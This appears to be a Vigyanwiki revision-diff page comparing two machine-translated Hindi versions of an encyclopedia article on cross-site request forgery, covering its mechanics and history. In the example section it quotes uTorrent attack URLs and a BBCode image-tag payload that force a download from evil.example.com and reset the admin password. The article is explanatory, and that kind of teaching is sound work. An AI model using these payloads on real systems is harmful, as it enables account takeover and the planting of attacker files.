क्रॉस साइट अनुरोध जालसाजी: Difference between revisions

From Vigyanwiki
No edit summary
No edit summary
 
(12 intermediate revisions by 3 users not shown)
Line 1: Line 1:
{{short description|Malicious website exploit where unauthorized commands are transmitted from a trusted user}}
{{short description|Malicious website exploit where unauthorized commands are transmitted from a trusted user}}
क्रॉस-साइट अनुरोध जालसाजी, जिसे वन-क्लिक अटैक या सेशन राइडिंग के रूप में भी जाना जाता है और इसे सीएसआरएफ के रूप में संक्षिप्त किया जाता है (कभी-कभी ''समुद्र-सर्फ'' कहा जाता है)<ref name=Shiflett /> या एक्सएसआरएफ, [[वेबसाइट]] या [[वेब अनुप्रयोग]] का प्रकार का दुर्भावनापूर्ण [[शोषण (कंप्यूटर सुरक्षा)]] है जहां [[उपयोगकर्ता (कंप्यूटिंग)]] से अनधिकृत कमांड सबमिट किए जाते हैं जिस पर वेब एप्लिकेशन भरोसा करता है।<ref name=Ristic>{{cite book|author=Ristic, Ivan|title=अपाचे सुरक्षा|url=https://archive.org/details/apachesecurity00rist_938|url-access=limited|publisher=O'Reilly Media|isbn=0-596-00724-8|year=2005|page=[https://archive.org/details/apachesecurity00rist_938/page/n303 280]}}</ref> ऐसे कई तरीके हैं जिनसे कोई दुर्भावनापूर्ण वेबसाइट ऐसे आदेश प्रसारित कर सकती है; उदाहरण के लिए, विशेष रूप से तैयार किए गए छवि टैग, छिपे हुए फॉर्म और [[जावास्क्रिप्ट]] XMLHttpRequest#Fetch विकल्प या XMLHttpRequests, ये सभी उपयोगकर्ता की बातचीत या ज्ञान के बिना भी काम कर सकते हैं। [[ क्रॉस साइट स्क्रिप्टिंग |क्रॉस साइट स्क्रिप्टिंग]] (XSS) के विपरीत, जो किसी विशेष साइट के लिए उपयोगकर्ता के भरोसे का फायदा उठाता है, CSRF उस भरोसे का फायदा उठाता है जो साइट उपयोगकर्ता के ब्राउज़र में रखती है।<ref name="Synopsys">{{cite web|url=https://www.synopsys.com/glossary/what-is-csrf.html|title=What is Cross-Site Request Forgery (CSRF) and How Does It Work? &#124; Synopsys }}</ref>
'''क्रॉस-साइट रिक्वेस्ट जालसाजी''', जिसे वन-क्लिक अटैक या सेशन राइडिंग के रूप में भी जाना जाता है। और इसे संक्षिप्त रूप में सीएसआरएफ (कभी-कभी सी-सर्फ कहा जाता है) या एक्सएसआरएफ कहा जाता है,<ref name=Shiflett /> या [[वेबसाइट]] या [[वेब अनुप्रयोग|वेब एप्लिकेशन]] का प्रकार का मालिसियस [[शोषण (कंप्यूटर सुरक्षा)|एक्सप्लॉइट (कंप्यूटर)]] है। जहां [[उपयोगकर्ता (कंप्यूटिंग)]] से अनधिकृत कमांड सबमिट किए जाते हैं। जिस पर वेब एप्लिकेशन विश्वास करता है।<ref name=Ristic>{{cite book|author=Ristic, Ivan|title=अपाचे सुरक्षा|url=https://archive.org/details/apachesecurity00rist_938|url-access=limited|publisher=O'Reilly Media|isbn=0-596-00724-8|year=2005|page=[https://archive.org/details/apachesecurity00rist_938/page/n303 280]}}</ref> इस प्रकार से ऐसी अनेक विधि हैं। जिनसे कोई मालिसियस वेबसाइट ऐसे आदेश प्रसारित कर सकती है; उदाहरण के लिए, विशेष रूप से तैयार किए गए इमेज टैग्स, छिपे हुए फॉर्म और [[जावास्क्रिप्ट|जावास्क्रिप्ट फ़ेच]] विकल्प या XMLHttpRequests, ये सभी उपयोगकर्ता की कोन्वर्सेसन या नॉलेज के बिना भी कार्य कर सकते हैं। इस प्रकार से [[ क्रॉस साइट स्क्रिप्टिंग |क्रॉस साइट स्क्रिप्टिंग]] (एक्सएसएस) के विपरीत, जो किसी विशेष साइट के लिए उपयोगकर्ता के विश्वास का लाभ उठाता है, सीएसआरएफ उस विश्वास का लाभ उठाता है। जो की साइट उपयोगकर्ता के ब्राउज़र में रखती है।<ref name="Synopsys">{{cite web|url=https://www.synopsys.com/glossary/what-is-csrf.html|title=What is Cross-Site Request Forgery (CSRF) and How Does It Work? &#124; Synopsys }}</ref> सीएसआरएफ अटैक में, निर्दोष अंतिम उपयोगकर्ता को अटैक्स द्वारा वेब रिक्वेस्ट सबमिट करने के लिए भटकाया जाता है, जिसका उनका अभिप्राय नहीं था। इससे वेबसाइट पर ऐसी क्रियाएँ हो सकती हैं जिनमें इंडवेरटेन्ट क्लाइंट या सर्वर डेटा लीकेज, सेशन स्थिति में परिवर्तन, या अंतिम उपयोगकर्ता के अकाउंट में परिवर्तन सम्मिलित हो सकता है।


सीएसआरएफ हमले में, निर्दोष अंतिम उपयोगकर्ता को हमलावर द्वारा वेब अनुरोध सबमिट करने के लिए बरगलाया जाता है, जिसका उनका इरादा नहीं था। इससे वेबसाइट पर ऐसी कार्रवाइयां हो सकती हैं जिनमें अनजाने क्लाइंट या सर्वर डेटा रिसाव, सत्र स्थिति में बदलाव, या अंतिम उपयोगकर्ता के खाते में हेरफेर शामिल हो सकता है।
इस प्रकार से सीएसआरएफ शब्द का उपयोग सीएसआरएफ अटैक्स के अधीन बचाव में संक्षिप्त नाम के रूप में भी किया जाता है, जैसे कि ऐसी तकनीकें जो ऐसे अटैक्स का परीक्षण करने और रोकने के लिए हेडर डेटा, फॉर्म डेटा या कुकीज़ का उपयोग करती हैं।
 
सीएसआरएफ शब्द का उपयोग सीएसआरएफ हमलों के खिलाफ बचाव में संक्षिप्त नाम के रूप में भी किया जाता है, जैसे कि ऐसी तकनीकें जो ऐसे हमलों का परीक्षण करने और रोकने के लिए हेडर डेटा, फॉर्म डेटा या कुकीज़ का उपयोग करती हैं।


== विशेषताएँ ==
== विशेषताएँ ==
सीएसआरएफ हमले में, हमलावर का लक्ष्य निर्दोष पीड़ित को अनजाने में उस वेबसाइट पर दुर्भावनापूर्ण रूप से तैयार किए गए वेब अनुरोध को सबमिट करने के लिए प्रेरित करना है, जिस तक पीड़ित के पास विशेषाधिकार प्राप्त पहुंच है। इस वेब अनुरोध को यूआरएल पैरामीटर, कुकीज़ और अन्य डेटा को शामिल करने के लिए तैयार किया जा सकता है जो अनुरोध को संसाधित करने वाले वेब सर्वर के लिए सामान्य प्रतीत होते हैं। जोखिम में वे वेब एप्लिकेशन हैं जो विशिष्ट कार्रवाई के लिए उपयोगकर्ता को प्राधिकरण (जैसे पॉपअप पुष्टिकरण के माध्यम से) की आवश्यकता के बिना विश्वसनीय और [[प्रमाणीकरण]] उपयोगकर्ताओं से इनपुट के आधार पर कार्य करते हैं। उपयोगकर्ता जो उपयोगकर्ता के [[वेब ब्राउज़र]] में सहेजी गई [[HTTP]] कुकी द्वारा प्रमाणित है, अनजाने में उस साइट पर HTTP अनुरोध भेज सकता है जो उपयोगकर्ता पर भरोसा करती है और इस तरह अवांछित कार्रवाई का कारण बन सकती है।
सीएसआरएफ अटैक में, अटैक्स का टारगेट निर्दोष विक्टिम को इंडवेरटेन्ट में उस वेबसाइट पर मालिसियस रूप से तैयार किए गए वेब रिक्वेस्ट को सबमिट करने के लिए प्रेरित करना है, जिस तक विक्टिम के पास विशेषाधिकार प्राप्त पहुंच है। इस वेब रिक्वेस्ट को यूआरएल पैरामीटर, कुकीज़ और अन्य डेटा को सम्मिलित करने के लिए तैयार किया जा सकता है। जो रिक्वेस्ट को संसाधित करने वाले वेब सर्वर के लिए सामान्य प्रतीत होते हैं। इस प्रकार से रिस्क में वे वेब एप्लिकेशन हैं, जो विशिष्ट '''निरूपण''' के लिए उपयोगकर्ता को प्राधिकरण (जैसे पॉपअप पुष्टिकरण के माध्यम से) की आवश्यकता के बिना विश्वसनीय और [[प्रमाणीकरण|ओथेन्टिकेटेड]] उपयोगकर्ताओं से इनपुट के आधार पर कार्य करते हैं। किन्तु उपयोगकर्ता जो उपयोगकर्ता के [[वेब ब्राउज़र]] में सेव्ड की गई [[HTTP|एचटीटीपी]] कुकी द्वारा प्रमाणित है, और इंडवेरटेन्ट में उस साइट पर एचटीटीपी रिक्वेस्ट भेज सकता है। जो की उपयोगकर्ता पर विश्वास करती है। और इस तरह अवांछित निरूपण का कारण बन सकती है।


वेब ब्राउज़र की सामान्य संपत्ति यह है कि वे स्वचालित रूप से और अदृश्य रूप से उस डोमेन पर भेजे गए किसी भी वेब अनुरोध में किसी दिए गए डोमेन द्वारा उपयोग की जाने वाली किसी भी कुकीज़ (सत्र कुकीज़ और अन्य सहित) को शामिल करेंगे। सीएसआरएफ हमलों द्वारा इस संपत्ति का शोषण किया जाता है। ऐसी स्थिति में जब किसी उपयोगकर्ता को अपने ब्राउज़र के माध्यम से अनजाने में अनुरोध सबमिट करने के लिए धोखा दिया जाता है, तो ये स्वचालित रूप से शामिल कुकीज़ वेब सर्वर पर जाली अनुरोध को वास्तविक दिखने का कारण बनेंगी और यह डेटा लौटाने, सत्र स्थिति में हेरफेर करने या बनाने सहित कोई भी उचित अनुरोधित कार्रवाई करेगा। पीड़ित के खाते में परिवर्तन.
किन्तु वेब ब्राउज़र की जनरल प्रॉपर्टी यह है कि वे स्वचालित रूप से और इंविसिबली रूप से उस डोमेन पर भेजे गए किसी भी वेब रिक्वेस्ट में किसी दिए गए डोमेन द्वारा उपयोग की जाने वाली किसी भी कुकीज़ (सेशन कुकीज़ और अन्य सहित) को सम्मिलित करते है। और सीएसआरएफ अटैक्स द्वारा इस प्रॉपर्टी को दमन किया जाता है। ऐसी स्थिति में जब किसी उपयोगकर्ता को अपने ब्राउज़र के माध्यम से इंडवेरटेन्ट में रिक्वेस्ट सबमिट करने के लिए धोखा दिया जाता है, तो ये स्वचालित रूप से सम्मिलित विक्टिम के अकाउंट में परिवर्तन कुकीज़ वेब सर्वर पर जाली रिक्वेस्ट को वास्तविक दिखने का कारण बनेंगी और यह डेटा लौटाने, सेशन स्थिति में परिवर्तन करने या बनाने सहित कोई भी उचित अनुरोधित निरूपण करता है।


सीएसआरएफ हमले को काम करने के लिए, हमलावर को प्रतिलिपि प्रस्तुत करने योग्य वेब अनुरोध की पहचान करनी होगी जो लक्ष्य पृष्ठ पर खाता पासवर्ड बदलने जैसी विशिष्ट कार्रवाई निष्पादित करता है। बार ऐसे अनुरोध की पहचान हो जाने पर, लिंक बनाया जा सकता है जो इस दुर्भावनापूर्ण अनुरोध को उत्पन्न करता है और उस लिंक को हमलावर के नियंत्रण में पृष्ठ पर एम्बेड किया जा सकता है।<ref name="Shiflett" /><ref>{{Cite web|url=https://portswigger.net/web-security/csrf|title=What is CSRF (Cross-site request forgery)? Tutorial & Examples|website=portswigger.net|access-date=2019-11-04}}</ref> यह लिंक इस तरह से रखा जा सकता है कि पीड़ित के लिए लिंक पर क्लिक करना भी जरूरी नहीं है। उदाहरण के लिए, इसे पीड़ित को भेजे गए ईमेल पर HTML छवि टैग के भीतर एम्बेड किया जा सकता है जो पीड़ित द्वारा अपना ईमेल खोलने पर स्वचालित रूप से लोड हो जाएगा। बार जब पीड़ित लिंक पर क्लिक कर देता है, तो उनका ब्राउज़र स्वचालित रूप से उस वेबसाइट द्वारा उपयोग की जाने वाली किसी भी कुकीज़ को शामिल कर लेगा और वेब सर्वर पर अनुरोध सबमिट कर देगा। वेब सर्वर जालसाजी की पहचान करने में सक्षम नहीं होगा क्योंकि अनुरोध उस उपयोगकर्ता द्वारा किया गया था जिसने लॉग इन किया था और सभी अपेक्षित कुकीज़ जमा की थीं।
अतः सीएसआरएफ अटैक को कार्य करने के लिए, अटैक्स को रेप्रोडयूसिबले वेब रिक्वेस्ट की पहचान करनी करती है, जो टारगेट पेज पर खाता पासवर्ड परिवर्तन जैसी विशिष्ट निरूपण निष्पादित करता है। इस प्रकार से ऐसे रिक्वेस्ट की पहचान हो जाने पर, लिंक बनाया जा सकता है जो इस मालिसियस रिक्वेस्ट को उत्पन्न करता है। और उस लिंक को अटैक्स के नियंत्रण में पेज पर एम्बेड किया जा सकता है।<ref name="Shiflett" /><ref>{{Cite web|url=https://portswigger.net/web-security/csrf|title=What is CSRF (Cross-site request forgery)? Tutorial & Examples|website=portswigger.net|access-date=2019-11-04}}</ref> यह लिंक इस तरह से रखा जा सकता है कि विक्टिम के लिए लिंक पर क्लिक करना भी आवश्यक नहीं है। अतः उदाहरण के लिए, इसे विक्टिम को भेजे गए ईमेल पर एचटीएमएल इमेज टैग्स के अन्दर एम्बेड किया जा सकता है। जो विक्टिम द्वारा अपना ईमेल खोलने पर स्वचालित रूप से लोड हो जाता है। एक बार जब विक्टिम लिंक पर क्लिक कर देता है, तो उनका ब्राउज़र स्वचालित रूप से उस वेबसाइट द्वारा उपयोग की जाने वाली किसी भी कुकीज़ को सम्मिलित कर लेता है। और वेब सर्वर पर रिक्वेस्ट सबमिट कर देता है। किन्तु वेब सर्वर जालसाजी की पहचान करने में सक्षम नहीं होते है। क्योंकि रिक्वेस्ट उस उपयोगकर्ता द्वारा किया गया था। जिसने इस पेज को लॉग इन किया था। और सभी अपेक्षित कुकीज़ सबमिट की थीं।


क्रॉस-साइट अनुरोध जालसाजी वेब ब्राउज़र के विरुद्ध [[भ्रमित डिप्टी]] का उदाहरण है क्योंकि वेब ब्राउज़र को कम विशेषाधिकार प्राप्त हमलावर द्वारा जाली अनुरोध सबमिट करने के लिए धोखा दिया जाता है।
क्रॉस-साइट रिक्वेस्ट जालसाजी वेब ब्राउज़र के विरुद्ध [[भ्रमित डिप्टी|कन्फ्यूज्ड डिप्टी]] का उदाहरण है क्योंकि वेब ब्राउज़र को कम विशेषाधिकार प्राप्त अटैक्स द्वारा जाली रिक्वेस्ट सबमिट करने के लिए धोखा दिया जाता है।


सीएसआरएफ में आमतौर पर निम्नलिखित विशेषताएं होती हैं:
इस प्रकार से सीएसआरएफ में सामान्यतः निम्नलिखित विशेषताएं होती हैं:


* इसमें ऐसी साइटें शामिल हैं जो उपयोगकर्ता की [[ऑनलाइन पहचान]] पर निर्भर करती हैं।
* इसमें ऐसी साइटें सम्मिलित हैं जो उपयोगकर्ता की [[ऑनलाइन पहचान|ऑनलाइन आइडेंटिटी]] पर निर्भर करती हैं।
* यह उस पहचान में साइट के भरोसे का शोषण करता है।
* यह उस आइडेंटिटी में साइट के विश्वास को दमन करता है।
* यह उपयोगकर्ता के ब्राउज़र को लक्षित साइट पर HTTP अनुरोध भेजने के लिए प्रेरित करता है जहां उपयोगकर्ता पहले से ही प्रमाणित है।
* यह उपयोगकर्ता के ब्राउज़र को टारगेट साइट पर एचटीटीपी रिक्वेस्ट भेजने के लिए प्रेरित करता है जहां उपयोगकर्ता पहले से ही प्रमाणित है।
* इसमें HTTP अनुरोध शामिल हैं जिनका साइड इफेक्ट (कंप्यूटर विज्ञान) है।
* इसमें एचटीटीपी रिक्वेस्ट सम्मिलित हैं जिनका साइड इफेक्ट (कंप्यूटर साइंस) है।


==इतिहास==
==इतिहास==
सीएसआरएफ टोकन कमजोरियाँ ज्ञात हैं और कुछ मामलों में 2001 से उनका शोषण किया गया है।<ref name=Burns>{{cite web|author=Burns, Jesse|title=Cross Site Request Forgery: An Introduction To A Common Web Weakness|url=https://www.isecpartners.com/media/11961/CSRF_Paper.pdf|publisher=Information Security Partners, LLC|year=2005|access-date=2011-12-12}}</ref> क्योंकि यह उपयोगकर्ता के आईपी पते से किया जाता है, कुछ वेबसाइट लॉग में सीएसआरएफ का सबूत नहीं हो सकता है।<ref name="Ristic"/> कम से कम सार्वजनिक रूप से, और 2007 तक, शोषण की कम रिपोर्ट की गई है<ref>{{cite web|author1=Christey, Steve |author2=Martin, Robert A.|title=सीवीई में भेद्यता प्रकार वितरण (संस्करण 1.1)|url=http://cwe.mitre.org/documents/vuln-trends/index.html|date=May 22, 2007|publisher=MITRE Corporation|access-date=2008-06-07}}</ref> कुछ अच्छी तरह से प्रलेखित उदाहरण थे:
इस प्रकार से सीएसआरएफ टोकन निर्बलता ज्ञात हैं। और कुछ स्तिथियो में 2001 से उनका दमन किया गया है।<ref name=Burns>{{cite web|author=Burns, Jesse|title=Cross Site Request Forgery: An Introduction To A Common Web Weakness|url=https://www.isecpartners.com/media/11961/CSRF_Paper.pdf|publisher=Information Security Partners, LLC|year=2005|access-date=2011-12-12}}</ref> क्योंकि यह उपयोगकर्ता के आईपी एड्रेस से किया जाता है, कुछ वेबसाइट लॉग में सीएसआरएफ का प्रमाण नहीं हो सकता है।<ref name="Ristic"/> कम से कम सार्वजनिक रूप से, और 2007 तक, दमन की कम रिपोर्ट की गई है।<ref>{{cite web|author1=Christey, Steve |author2=Martin, Robert A.|title=सीवीई में भेद्यता प्रकार वितरण (संस्करण 1.1)|url=http://cwe.mitre.org/documents/vuln-trends/index.html|date=May 22, 2007|publisher=MITRE Corporation|access-date=2008-06-07}}</ref> इस प्रकार से कुछ वेल-डॉक्यूमेंटेड इसके उदाहरण थे:
* 2006 में [[ NetFlix |NetFlix]] वेबसाइट में सीएसआरएफ के लिए कई कमजोरियां थीं, जो हमलावर को पीड़ित की किराये की कतार में डीवीडी जोड़ने, खाते पर शिपिंग पता बदलने, या पूरी तरह से समझौता करने के लिए पीड़ित के लॉगिन क्रेडेंशियल को बदलने जैसे कार्य करने की अनुमति दे सकती थी। खाता।<ref>{{cite web|author1=Washkuch Jr., Frank|title=नेटफ्लिक्स ने क्रॉस-साइट अनुरोध जालसाजी छेद को ठीक किया|url=https://www.scmagazine.com/home/security-news/netflix-fixes-cross-site-request-forgery-hole/|date=October 17, 2006|publisher=SC Magazine|access-date=2019-02-11}}</ref> * [[आईएनजी डायरेक्ट]] का ऑनलाइन बैंकिंग वेब एप्लिकेशन सीएसआरएफ हमले के प्रति संवेदनशील था जो अवैध धन हस्तांतरण की अनुमति देता था।<ref name="zeller">{{cite web|author1=William Zeller |author2=Edward W. Felten |title=Cross-Site Request Forgeries: Exploitation and Prevention|url=https://www.eecs.berkeley.edu/~daw/teaching/cs261-f11/reading/csrf.pdf|access-date=29 May 2015|date=October 2008}}</ref> * लोकप्रिय वीडियो वेबसाइट [[यूट्यूब]] भी 2008 में सीएसआरएफ के प्रति संवेदनशील थी और इसने किसी भी हमलावर को किसी भी उपयोगकर्ता के लगभग सभी कार्यों को करने की अनुमति दी थी।<ref name="zeller" />* McAfee Securities भी CSRF के प्रति संवेदनशील थी और इसने हमलावरों को अपनी कंपनी प्रणाली को बदलने की अनुमति दी। इसे नए संस्करणों में ठीक कर दिया गया है.<ref name="Mike">{{cite web|author=Mike, Bailey|title=CSRF: Yeah, It Still Works….|url=https://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-bailey-mcree-csrf.pdf|publisher=DEFCON|year=2009}}</ref>
* 2006 में [[ NetFlix |नेटफ्लिक्स वेबसाइट]] में सीएसआरएफ के लिए अनेक निर्बलता थीं, जो अटैक्स को विक्टिम की किराये की कतार में डीवीडी ऐडडिंग, अकाउंट पर शिपिंग एड्रेस परिवर्तन, या पूर्ण रूप से समझौता करने के लिए विक्टिम के लॉगिन क्रेडेंशियल को परिवर्तन जैसे कार्य करने की अनुमति दे सकती थी।<ref>{{cite web|author1=Washkuch Jr., Frank|title=नेटफ्लिक्स ने क्रॉस-साइट अनुरोध जालसाजी छेद को ठीक किया|url=https://www.scmagazine.com/home/security-news/netflix-fixes-cross-site-request-forgery-hole/|date=October 17, 2006|publisher=SC Magazine|access-date=2019-02-11}}</ref>
2018 में वेब-सक्षम उपकरणों के खिलाफ नए हमले किए गए, जिनमें राउटर की डीएनएस सेटिंग्स को बदलने के प्रयास भी शामिल थे। कुछ राउटर निर्माताओं ने सुरक्षा में सुधार के लिए जल्दबाजी में फर्मवेयर अपडेट जारी किए, और जोखिम को कम करने के लिए उपयोगकर्ताओं को राउटर सेटिंग्स बदलने की सलाह दी। स्पष्ट सुरक्षा कारणों का हवाला देते हुए विवरण जारी नहीं किया गया।<ref>{{cite web |url=https://www.draytek.co.uk/support/security-advisories/kb-advisory-csrf-and-dns-dhcp-web-attacks |title=Security Advisory: CSRF & DNS/DHCP/Web Attacks |website=Draytek|date=May 2018|access-date= 18 May 2018}}</ref>
*[[आईएनजी डायरेक्ट]] का ऑनलाइन बैंकिंग वेब एप्लिकेशन सीएसआरएफ अटैक के प्रति संवेदनशील था जो अवैध मनी ट्रान्सफर की अनुमति देता था।<ref name="zeller">{{cite web|author1=William Zeller |author2=Edward W. Felten |title=Cross-Site Request Forgeries: Exploitation and Prevention|url=https://www.eecs.berkeley.edu/~daw/teaching/cs261-f11/reading/csrf.pdf|access-date=29 May 2015|date=October 2008}}</ref>
 
*लोकप्रिय वीडियो वेबसाइट [[यूट्यूब]] भी 2008 में सीएसआरएफ के प्रति संवेदनशील थी और इसने किसी भी अटैक्स को किसी भी उपयोगकर्ता के लगभग सभी कार्यों को करने की अनुमति दी थी।<ref name="zeller" />
 
*मैक्एफ़ी सिक्योरिटीज भी सीएसआरएफ के प्रति संवेदनशील थी और इसने अटैक्सों को अपनी कंपनी सिस्टम को परिवर्तन की अनुमति दी। इसे न्यु वर्जन में ठीक कर दिया गया है.<ref name="Mike">{{cite web|author=Mike, Bailey|title=CSRF: Yeah, It Still Works….|url=https://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-bailey-mcree-csrf.pdf|publisher=DEFCON|year=2009}}</ref>
अतः 2018 में वेब-इनेबल्ड डिवाइस के विरुद्ध न्यु अटैक किए गए, जिनमें राउटर की डीएनएस सेटिंग्स को परिवर्तन के प्रयास भी सम्मिलित थे। कुछ राउटर निर्माताओं ने सुरक्षा में सुधार के लिए शीघ्रता में फर्मवेयर अपडेट रेलीज़ड किए है, और रिस्क को कम करने के लिए उपयोगकर्ताओं को राउटर सेटिंग्स परिवर्तन की सलाह दी है। इस प्रकार से <nowiki>''</nowiki>ऑब्वियस सिक्योरिटी रीज़न<nowiki>''</nowiki> का सिटिंग देते हुए विवरण रेलीज़ड नहीं किया गया है।<ref>{{cite web |url=https://www.draytek.co.uk/support/security-advisories/kb-advisory-csrf-and-dns-dhcp-web-attacks |title=Security Advisory: CSRF & DNS/DHCP/Web Attacks |website=Draytek|date=May 2018|access-date= 18 May 2018}}</ref>
==उदाहरण==
==उदाहरण==
[[Image:NVD-CVE-2007-1332.png|thumb|सीएसआरएफ भेद्यता का वर्णन करने वाला [[राष्ट्रीय भेद्यता डेटाबेस]] पृष्ठ]]हमलावर जो प्रतिलिपि प्रस्तुत करने योग्य लिंक पा सकते हैं जो पीड़ित के लॉग इन होने पर लक्ष्य पृष्ठ पर विशिष्ट कार्रवाई निष्पादित करता है, वे ऐसे लिंक को उस पृष्ठ पर एम्बेड कर सकते हैं जिसे वे नियंत्रित करते हैं और पीड़ित को इसे खोलने के लिए धोखा दे सकते हैं।<ref name=Shiflett>{{cite web|author= Shiflett, Chris|title= Security Corner: Cross-Site Request Forgeries|url= http://shiflett.org/articles/cross-site-request-forgeries|date= December 13, 2004|publisher= php&#124;architect (via shiflett.org)|access-date= 2008-07-03}}</ref> आक्रमण वाहक लिंक को उस स्थान पर रखा जा सकता है जहां लक्ष्य साइट (उदाहरण के लिए, चर्चा मंच) में लॉग इन करते समय पीड़ित के आने की संभावना है, या HTML ईमेल बॉडी या अनुलग्नक में भेजा जा सकता है। uTorrent में वास्तविक CSRF भेद्यता ([https://web.nvd.nist.gov/view/wln/detail?wlnId=CVE-2008-6586 CVE-2008-6586]) ने इस तथ्य का फायदा उठाया कि इसका वेब कंसोल [[ स्थानीय होस्ट |स्थानीय होस्ट]] पर पहुंच योग्य है। :8080 ने साधारण GET अनुरोध का उपयोग करके महत्वपूर्ण कार्रवाइयों को निष्पादित करने की अनुमति दी:
[[Image:NVD-CVE-2007-1332.png|thumb|सीएसआरएफ वल्नेरेबिलिटी का वर्णन करने वाला [[राष्ट्रीय भेद्यता डेटाबेस|राष्ट्रीय वल्नेरेबिलिटी डेटाबेस]] पेज]]अटैक्स जो रेप्रोडयूसिबले लिंक फाइंड कर सकते हैं। जो विक्टिम के लॉग इन होने पर टारगेट पेज पर विशिष्ट निरूपण निष्पादित करता है, वे ऐसे लिंक को उस पेज पर एम्बेड कर सकते हैं जिसे वे नियंत्रित करते हैं और विक्टिम को इसे खोलने के लिए धोखा दे सकते हैं।<ref name=Shiflett>{{cite web|author= Shiflett, Chris|title= Security Corner: Cross-Site Request Forgeries|url= http://shiflett.org/articles/cross-site-request-forgeries|date= December 13, 2004|publisher= php&#124;architect (via shiflett.org)|access-date= 2008-07-03}}</ref> इस प्रकार से अटैक्स कर्रिएर लिंक को उस स्थान पर रखा जा सकता है जहां टारगेट साइट (उदाहरण के लिए, डिस्कशन फ़ोरम) में लॉग इन करते समय विक्टिम के आने की संभावना है, या एचटीएमएल ईमेल बॉडी या अनुलग्नक में भेजा जा सकता है। यूटोरेंट में वास्तविक सीएसआरएफ वल्नेरेबिलिटी ([https://web.nvd.nist.gov/view/wln/detail?wlnId=CVE-2008-6586 CVE-2008-6586]) ने इस तथ्य का लाभ उठाया कि इसका वेब कंसोल [[ स्थानीय होस्ट |लोकलहोस्ट]] :8080 पर पहुंच योग्य है। ने साधारण जीईटी रिक्वेस्ट का उपयोग करके महत्वपूर्ण कार्रवाइयों को निष्पादित करने की अनुमति दी है:


;एक .torrent फ़ाइल डाउनलोड को बाध्य करें: <nowiki>http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent</nowiki>
;एक .torrent फ़ाइल डाउनलोड को बाध्य करें: <nowiki>http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent</nowiki>
;UTorrent व्यवस्थापक पासवर्ड बदलें: <nowiki>http://localhost:8080/gui/?action=setsetting&s=webui.password&v=eviladmin</nowiki>
;यूटोरेंट व्यवस्थापक पासवर्ड चेंज: <nowiki>http://localhost:8080/gui/?action=setsetting&s=webui.password&v=eviladmin</nowiki>


फ़ोरम और [[ईमेल स्पैम]] पर दुर्भावनापूर्ण, स्वचालित-क्रिया वाले HTML तत्व#छवियाँ और ऑब्जेक्ट डालकर हमले शुरू किए गए, ताकि इन पृष्ठों पर जाने वाले ब्राउज़र उन्हें उपयोगकर्ता की अधिक कार्रवाई के बिना स्वचालित रूप से खोल सकें। इन पेजों को खोलने के साथ ही असुरक्षित [[ utorrent |utorrent]] संस्करण चलाने वाले लोग हमले के प्रति संवेदनशील थे।
फ़ोरम और [[ईमेल स्पैम]] पर मालिसियस, स्वचालित-क्रिया वाले एचटीएमएल तत्व इमेज और ऑब्जेक्ट डालकर अटैक प्रारंभ किए गए है, जिससे इन पेज पर जाने वाले ब्राउज़र उन्हें उपयोगकर्ता की अधिक निरूपण के बिना स्वचालित रूप से खोल सकते है। इन पेजों को खोलने के साथ ही असुरक्षित [[ utorrent |यूटोरेंट]] संस्करण चलाने वाले लोग अटैक के प्रति संवेदनशील थे।


छवि टैग का उपयोग करके सीएसआरएफ हमले अक्सर [[इंटरनेट मंच]]ों से किए जाते हैं, जहां उपयोगकर्ताओं को छवियां पोस्ट करने की अनुमति होती है लेकिन जावास्क्रिप्ट की नहीं, उदाहरण के लिए [[बीबीसीओडी]] का उपयोग करना:
इमेज टैग्स का उपयोग करके सीएसआरएफ अटैक प्रायः [[इंटरनेट मंच|इंटरनेट फ़ोरम]] से किए जाते हैं, जहां उपयोगकर्ताओं को इमेजेस पोस्ट करने की अनुमति होती है किन्तु जावास्क्रिप्ट की नहीं, उदाहरण के लिए [[बीबीसीओडी]] का उपयोग करना:


<syntaxhighlight lang="bbcode">[img]http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent[/img]</syntaxhighlight>
<syntaxhighlight lang="bbcode">[img]http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent[/img]</syntaxhighlight>
स्थानीय uTorrent एप्लिकेशन पर हमले के लिंक तक पहुँचने पर {{mono|localhost:8080}}, ब्राउज़र हमेशा उस डोमेन के लिए किसी भी मौजूदा HTTP कुकीज़ को स्वचालित रूप से भेज देगा। वेब ब्राउज़र की यह सामान्य संपत्ति सीएसआरएफ हमलों को उनकी लक्षित कमजोरियों का फायदा उठाने और शत्रुतापूर्ण कार्यों को अंजाम देने में सक्षम बनाती है, जब तक कि उपयोगकर्ता हमले के समय लक्ष्य वेबसाइट (इस उदाहरण में, स्थानीय uTorrent वेब इंटरफ़ेस) में लॉग इन है।
स्थानीय यूटोरेंट एप्लिकेशन पर अटैक के लिंक तक पहुँचने पर {{mono|localhost:8080}}, ब्राउज़र हमेशा उस डोमेन के लिए किसी भी उपस्तिथ एचटीटीपी कुकीज़ को स्वचालित रूप से भेज देगा। वेब ब्राउज़र की यह जनरल प्रॉपर्टी सीएसआरएफ अटैक्स को उनकी टारगेट दुर्बलता का लाभ उठाने और शत्रुतापूर्ण कार्यों को अंजाम देने में सक्षम बनाती है, जब तक कि उपयोगकर्ता अटैक के समय टारगेट वेबसाइट (इस उदाहरण में, स्थानीय यूटोरेंट वेब इंटरफ़ेस) में लॉग इन है।


ऊपर वर्णित uTorrent उदाहरण में, हमले को इस तथ्य से सुविधाजनक बनाया गया था कि uTorrent के वेब इंटरफ़ेस ने महत्वपूर्ण राज्य-परिवर्तन संचालन (क्रेडेंशियल बदलें, फ़ाइल डाउनलोड इत्यादि) के लिए GET अनुरोध का उपयोग किया था, जो {{IETF RFC|2616}} स्पष्ट रूप से हतोत्साहित करता है:
ऊपर वर्णित यूटोरेंट उदाहरण में, अटैक को इस तथ्य से सुविधाजनक बनाया गया था कि यूटोरेंट के वेब इंटरफ़ेस ने महत्वपूर्ण राज्य-परिवर्तन संचालन (क्रेडेंशियल परिवर्तन, फ़ाइल डाउनलोड इत्यादि) के लिए जीईटी रिक्वेस्ट का उपयोग किया था, जो {{IETF RFC|2616}} स्पष्ट रूप से हतोत्साहित करता है:


